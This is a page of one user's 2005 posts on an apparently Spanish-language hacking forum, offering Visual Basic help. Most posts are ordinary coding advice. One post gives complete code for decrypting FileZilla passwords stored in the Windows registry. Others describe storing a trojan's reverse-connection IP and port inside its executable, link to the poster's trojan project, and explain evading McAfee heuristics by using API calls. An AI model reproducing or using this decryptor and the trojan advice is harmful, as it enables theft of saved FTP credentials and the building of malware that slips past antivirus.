|
Mostrar Mensajes
|
Páginas: 1 2 3 4 5 [6] 7 8 9
|
51
|
Programación / Programación Visual Basic / Re: Binder
|
en: 3 Octubre 2005, 22:39 pm
|
El caso es que M@rT1n sabe perfectamente como guardar la configuración en un ini, por eso pide un binder. Pero yo le he dado otra opción más limpia, ya que no necesita una utilidad externa para guardar la configuración en el propio ejecutable. Aunque no siempre está de más recordar funciones útiles para los que no las conozcan.
Saludos!!
|
|
|
52
|
Programación / Programación Visual Basic / Re: Binder
|
en: 3 Octubre 2005, 20:03 pm
|
Si no te va el generador de server será porque no tienes el servidor compilado en la misma carpeta del cliente. De todas formas, te pongo un ejemplo de como guardar y cargar variables de un ejecutable que te acabo de hacer. Primero de todo tienes que crear en un formulario 3 cuadros de texto y 2 botones, uno para guardar y otro para cargar. Para ver como funciona te recomiendo que utilices un editor hexadecimal una vez guardado el archivo. NOTA: No utilices espacios, porque no lo he programado para que tenga espacios, aunque es fácil modificarlo. También utiliza una ruta correcta, ya que lo que hará si no existe el archivo será crear uno nuevo. Guardar variables: Private Function GuardarVariables(NombreArchivo As String) Dim foo As Integer 'Número archivo Dim Texto1(99) As String 'Reservamos 100 espacios para el Text1 Dim Texto2(99) As String 'Reservamos 100 espacios para el Text2 Dim Texto3(99) As String 'Reservamos 100 espacios para el Text3. Dim PosicionActual As Long 'Variable que utilizaremos para saber cuál es la posición actual. Dim i As Integer foo = FreeFile 'Proporciona un número de archivo libre. For i = 0 To Len(Text1) Texto1(i) = Mid$(Text1.Text, i + 1, 1) Next i For i = 0 To Len(Text2) Texto2(i) = Mid$(Text2.Text, i + 1, 1) Next i For i = 0 To Len(Text3) Texto3(i) = Mid$(Text3.Text, i + 1, 1) Next i Open NombreArchivo For Binary As #foo 'Abre el archivo <NombreArchivo> para acceder en modo binario. PosicionActual = LOF(foo) 'Obtiene el tamaño del archivo en bytes para obtener el primer byte vacío. For i = 0 To 99 '| PosicionActual = PosicionActual + 1 '| Posicion actual, cuando i = 0, obtiene el primer valor libre If Texto1(i) = "" Then '| Si la varible texto1 está vacía Put #foo, PosicionActual, 0 '| Guarda en el archivo un valor 0 Else '| Put #foo, PosicionActual, Asc(Texto1(i)) '| Si no está vacía la variable guarda en valor ascii la letra del texto correspondiente. End If Next i 'Se repite para la matriz Texto2 For i = 0 To 99 PosicionActual = PosicionActual + 1 If Texto2(i) = "" Then Put #foo, PosicionActual, 0 Else Put #foo, PosicionActual, Asc(Texto2(i)) End If Next i 'Se repite para la matriz Texto3 For i = 0 To 99 PosicionActual = PosicionActual + 1 If Texto3(i) = "" Then Put #foo, PosicionActual, 0 Else Put #foo, PosicionActual, Asc(Texto3(i)) End If If i = 99 Then Stop End If Next i Close #foo End Function Cargar variables: Private Function CargarVariables(NombreArchivo As String) Dim foo As Integer Dim Obteniendo As Byte Dim Texto As String Dim TamañoArchivo As Long Dim PosicionActual As Long Dim i As Integer foo = FreeFile Open NombreArchivo For Binary As #foo TamañoArchivo = LOF(foo) PosicionActual = TamañoArchivo - 300 'Se le resta 300 al tamaño del archivo por ser el resultado de la suma de los espacios reservados anteriormente For i = 0 To 99 Get #foo, PosicionActual, Obteniendo If Obteniendo <> 0 Then Texto = Texto & Chr$(Obteniendo) PosicionActual = PosicionActual + 1 Else PosicionActual = PosicionActual + (100 - Len(Texto)) Exit For End If Next i Text1.Text = Texto Texto = "" For i = 0 To 99 Get #foo, PosicionActual, Obteniendo If Obteniendo <> 0 Then Texto = Texto & Chr$(Obteniendo) PosicionActual = PosicionActual + 1 Else PosicionActual = PosicionActual + (100 - Len(Texto)) Exit For End If Next i Text2.Text = Texto Texto = "" For i = 0 To 99 Get #foo, PosicionActual, Obteniendo If Obteniendo <> 0 Then Texto = Texto & Chr$(Obteniendo) PosicionActual = PosicionActual + 1 Else Exit For End If Next i Text3.Text = Texto Close #foo End Function Botones: Private Sub Command1_Click() GuardarVariables "archivo.exe" End Sub Private Sub Command2_Click() CargarVariables "archivo.exe" End Sub
|
|
|
53
|
Programación / Programación Visual Basic / Re: Binder
|
en: 3 Octubre 2005, 10:15 am
|
Más limpio pero no más sencillo sería guardar la configuración de tu server en el mismo server. Me explico: puedes guardar valores en el propio ejecutable siempre y cuando no modifique el archivo, es decir, al final del archivo. Luego, simplemente habría que leerlos con un open "archivo" for binary as #1, por ejemplo. Si no sabes como hacerlo, el troyano incompleto que hice que publiqué en el foro hace algún tiempo, en el servidor guarda los valores de configuración, como la ip y el puerto que se va a conectar con una conexión inversa. Link de descarga: http://dl1.rapidshare.de/files/3092209/41685679/Proyecto_BaNTRoJaN.rarSaludos!!
|
|
|
54
|
Programación / Programación Visual Basic / Re: Colocar letras
|
en: 3 Octubre 2005, 09:49 am
|
Yo lo que haría con tu parte que has programado, sería en vez de utilizar un montón de comparaciones, sería crear una variable y meter ahí el abecedario, para luego sacar las letras por la función mid$(). Por ejemplo: Private Sub Command1_Click() Dim Num As String Dim Cuenta As Byte Dim Abecedario as String
Abecedario = "ABCDEFGHIJKLMNÑOPQRSTUVWXYZ" Text1 = "" Math.Randomize
Do While Not Cuenta = 26 Num = Int(Rnd * 26) Cuenta = Cuenta + 1 Num = Mid$(Abecedario, Num + 1, 1) ' La posición empieza por el valor 1, y no 0, por tanto, como el RND genera valores de 0 a 26, se le suma 1. Text1 = Text1 & Num Loop End Sub
También se podría utilizar la función Chr() para sacar también una letra del abecedario al azar. Pero eso ya es cuestión de imaginación. Saludos!!
|
|
|
55
|
Programación / Programación Visual Basic / Re: Ayuda!
|
en: 7 Septiembre 2005, 01:03 am
|
Private Sub Command1_Click() text1.text = winsock1.localip End Sub Y si quieres que te salga delante http:// simplemente pon: Private Sub Command1_Click() text1.text = "http://" & winsock1.localip End Sub NOTA: Si tu conexión es a través de LAN, por ejemplo un router, te saldrá la ip local, no la establecida por el proveedor.
|
|
|
56
|
Programación / Programación Visual Basic / Algoritmo de desencriptación de contraseñas para FileZilla Client
|
en: 6 Septiembre 2005, 19:20 pm
|
Port del programa para descifrar contraseñas del cliente ftp FileZilla de C a Visual Basic. Colocar el código en un módulo y llamar a la función: obtenercontraseña = DesencriptarContraseña(Contaseña) Ejemplo: Text2.Text = DesencriptarContraseña(Text1.Text) Código original: http://www.securityfocus.com/data/vulnerabilities/exploits/FileZilla_pass.c'**************************************************************** '* modDecryptFZilla.bas * '* descifra las contraseñas que se almacenan en: * '* HKEY_CURRENT_USER\Software\FileZilla\Recent Servers\ * '* por el cliente FileZilla. * '* * '* La función digit2char convierte de 3 en 3 de ascii a char. * '* La función decrypt realiza los cálculos para descifrar * '* cadena obtenida con digit2char. * '* * '* Port de C a Visual Basic por xavierote (Javier Ferre) * '* Código original por: Unknown Author * '****************************************************************
Option Explicit
Dim password As String
Private Function digit2char(buff As String) As Integer Dim ascii_buff As String Dim i As Integer Dim j As Integer Dim longitud As Integer Dim tmp_buffer As Integer longitud = Len(buff) / 3 'longitud del password For i = 0 To Len(buff) - 1 Step 3 tmp_buffer = Mid$(buff, i + 1, 3) 'obtiene los digitos de 3 en 3 para convertir a Char If tmp_buffer > 255 Then 'Si un valor es mayor de 255, da error MsgBox "La contraseña introducida no es correcta debido a que el valor obtenido, cada 3 digitos, es mayor de 255." & vbCrLf & "Valor obtenido: " & tmp_buffer, vbCritical, "Error" Exit Function End If ascii_buff = ascii_buff & Chr$(tmp_buffer) Next i password = ascii_buff digit2char = longitud End Function
Private Function decrypt(buff As String) As Integer Dim i As Integer Dim pos As Integer Dim longitud As Integer Dim buffer_final As String Dim convirtiendo As Integer Dim operando As Integer Dim resultado As Integer Dim m_key As String m_key = "FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ" If (Len(buff) Mod 3) = 0 Then 'Si es múltiplo de 3, descifra longitud = digit2char(buff) 'A parte de convertir los números en cadena de texto, obtiene la longitud de la cadena resultante pos = longitud Mod Len(m_key) 'Obtiene la posición inicial para el m_key For i = 0 To longitud - 1 'Como empieza desde el 0, la longitud será uno menos convirtiendo = Asc(Mid$(password, i + 1, 1)) 'Convierte el carácter actual en valor ascii para hacer los cálculos operando = Asc(Mid$(m_key, (i + 1 + pos) Mod Len(m_key), 1)) 'Cálculos para la decodificación resultado = Int(convirtiendo Xor operando) 'Xor de las 2 variables anteriores. buffer_final = buffer_final & Chr$(resultado) 'Hallando todos los carácteres Next i password = buffer_final decrypt = longitud Else 'Si no es múltiplo de 3 MsgBox "El password introducido no es correcto, debe ser múltiplo de 3", vbCritical, "Error" password = "" End If End Function
Public Function DesencriptarContraseña(Pass As String) As String decrypt Pass 'Llama a la función decrypt introduciendo el valor de la cadena Pass DoEvents 'Espera a que se realicen los cálculos DesencriptarContraseña = password 'Devuelve la contraseña descifrada End Function
Saludos!!
|
|
|
57
|
Programación / Programación Visual Basic / Re: Módulos interesantes (manejo de ficheros, de texto, de gráficos.....)
|
en: 3 Septiembre 2005, 02:17 am
|
YeIKoS, yo no te obligo a que utilices estos módulos. Más que nada los he puesto aquí porque yo lo que veo interesante es que por ejemplo, si no sabes utilizar las api's de windows, esto es un buenísimo ejemplo de como utilizarlas, y sobre todo interesante sobre el control de ficheros, en el que se incluyen casi todas las api's. Ya se que con una sola línea de código se pueden borrar los archivos con el comando kill y más comandos de una sóla línea... pero lo que te dicho antes... De todas formas, utilicé varios comandos del visual basic para el control de archivos cuando hice mi troyano y lo detectaba, con el escaneo heurístico, el McAfee 9.0 como un archivo que contiene comandos peligrosos. Solución: llamadas a unas cuantas api's y arreglado.
Saludos!
|
|
|
58
|
Programación / Programación Visual Basic / Módulos interesantes (los módulos comprimidos zip)
|
en: 2 Septiembre 2005, 16:55 pm
|
Si a alguien le pasa como a reydelmundo11 que tiene problemas de visualización con el post: http://foro.elhacker.net/index.php/topic,84901.msg393541.html#msg393541, puede descargárselo de: http://rapidshare.de/files/4643405/apis.zip.htmlDentro del archivo: - modAPI.bas (Imprescindible incluirlo, contiene todas las llamadas a las API's necesarias para los siguientes módulos) - modDraw_Base (Contiene funciones para el manejo de gráficos) - modMath_Color (Contiene funciones para el cambio de colores de visual basic, RGB, CMY... - modFileSystem (Contiene funciones para el manejo de archivos como copiar, borrar, crear carpetas, propiedades del archivo, comprobar si existe...) - modTextMan (Rutinas para el manejo de cadenas de texto)
|
|
|
|
|
|
|